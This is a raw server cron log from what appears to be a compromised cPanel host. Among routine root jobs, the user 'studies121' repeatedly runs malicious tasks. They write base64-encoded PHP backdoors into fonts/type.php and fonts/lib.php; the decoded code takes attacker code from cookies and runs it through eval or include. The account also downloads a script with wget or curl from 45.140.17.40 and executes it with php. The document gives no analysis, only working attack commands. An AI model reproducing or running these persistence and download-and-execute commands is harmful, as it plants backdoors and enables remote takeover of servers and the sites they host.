Sep  8 03:35:01 ip-184-168-122-23 CROND[2593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:35:01 ip-184-168-122-23 CROND[2591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:35:01 ip-184-168-122-23 CROND[2594]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 03:35:01 ip-184-168-122-23 CROND[2590]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 03:35:01 ip-184-168-122-23 CROND[2589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:35:01 ip-184-168-122-23 CROND[2595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:36:02 ip-184-168-122-23 CROND[2711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:36:02 ip-184-168-122-23 CROND[2713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:36:02 ip-184-168-122-23 CROND[2715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:36:02 ip-184-168-122-23 CROND[2714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:36:02 ip-184-168-122-23 CROND[2716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:37:01 ip-184-168-122-23 CROND[2820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:37:01 ip-184-168-122-23 CROND[2821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:37:01 ip-184-168-122-23 CROND[2822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:37:01 ip-184-168-122-23 CROND[2819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:38:01 ip-184-168-122-23 CROND[2918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:38:01 ip-184-168-122-23 CROND[2920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:38:01 ip-184-168-122-23 CROND[2919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:38:01 ip-184-168-122-23 CROND[2917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:38:01 ip-184-168-122-23 CROND[2921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:39:01 ip-184-168-122-23 CROND[3024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:39:01 ip-184-168-122-23 CROND[3025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:39:01 ip-184-168-122-23 CROND[3028]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 03:39:01 ip-184-168-122-23 CROND[3027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:39:01 ip-184-168-122-23 CROND[3026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:40:02 ip-184-168-122-23 CROND[3159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:40:02 ip-184-168-122-23 CROND[3161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:40:02 ip-184-168-122-23 CROND[3163]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:40:02 ip-184-168-122-23 CROND[3162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:40:02 ip-184-168-122-23 CROND[3164]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:40:02 ip-184-168-122-23 CROND[3165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:40:02 ip-184-168-122-23 CROND[3169]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:40:02 ip-184-168-122-23 CROND[3170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:41:01 ip-184-168-122-23 CROND[3391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:41:01 ip-184-168-122-23 CROND[3392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:41:01 ip-184-168-122-23 CROND[3393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:41:01 ip-184-168-122-23 CROND[3394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:42:01 ip-184-168-122-23 CROND[3513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:42:01 ip-184-168-122-23 CROND[3515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:42:01 ip-184-168-122-23 CROND[3517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:42:01 ip-184-168-122-23 CROND[3518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:42:01 ip-184-168-122-23 CROND[3516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:43:01 ip-184-168-122-23 CROND[3603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:43:01 ip-184-168-122-23 CROND[3607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:43:01 ip-184-168-122-23 CROND[3605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:43:01 ip-184-168-122-23 CROND[3606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:44:01 ip-184-168-122-23 CROND[3722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:44:01 ip-184-168-122-23 CROND[3721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:44:01 ip-184-168-122-23 CROND[3724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:44:01 ip-184-168-122-23 CROND[3723]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:44:01 ip-184-168-122-23 CROND[3725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:45:01 ip-184-168-122-23 CROND[3847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:45:01 ip-184-168-122-23 CROND[3848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:45:01 ip-184-168-122-23 CROND[3852]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:45:01 ip-184-168-122-23 CROND[3849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:45:01 ip-184-168-122-23 CROND[3851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:45:01 ip-184-168-122-23 CROND[3850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:46:01 ip-184-168-122-23 CROND[3952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:46:01 ip-184-168-122-23 CROND[3951]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 03:46:01 ip-184-168-122-23 CROND[3956]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 03:46:01 ip-184-168-122-23 CROND[3954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:46:01 ip-184-168-122-23 CROND[3950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:46:01 ip-184-168-122-23 CROND[3955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:46:01 ip-184-168-122-23 CROND[3953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:47:01 ip-184-168-122-23 CROND[4088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:47:01 ip-184-168-122-23 CROND[4089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:47:01 ip-184-168-122-23 CROND[4087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
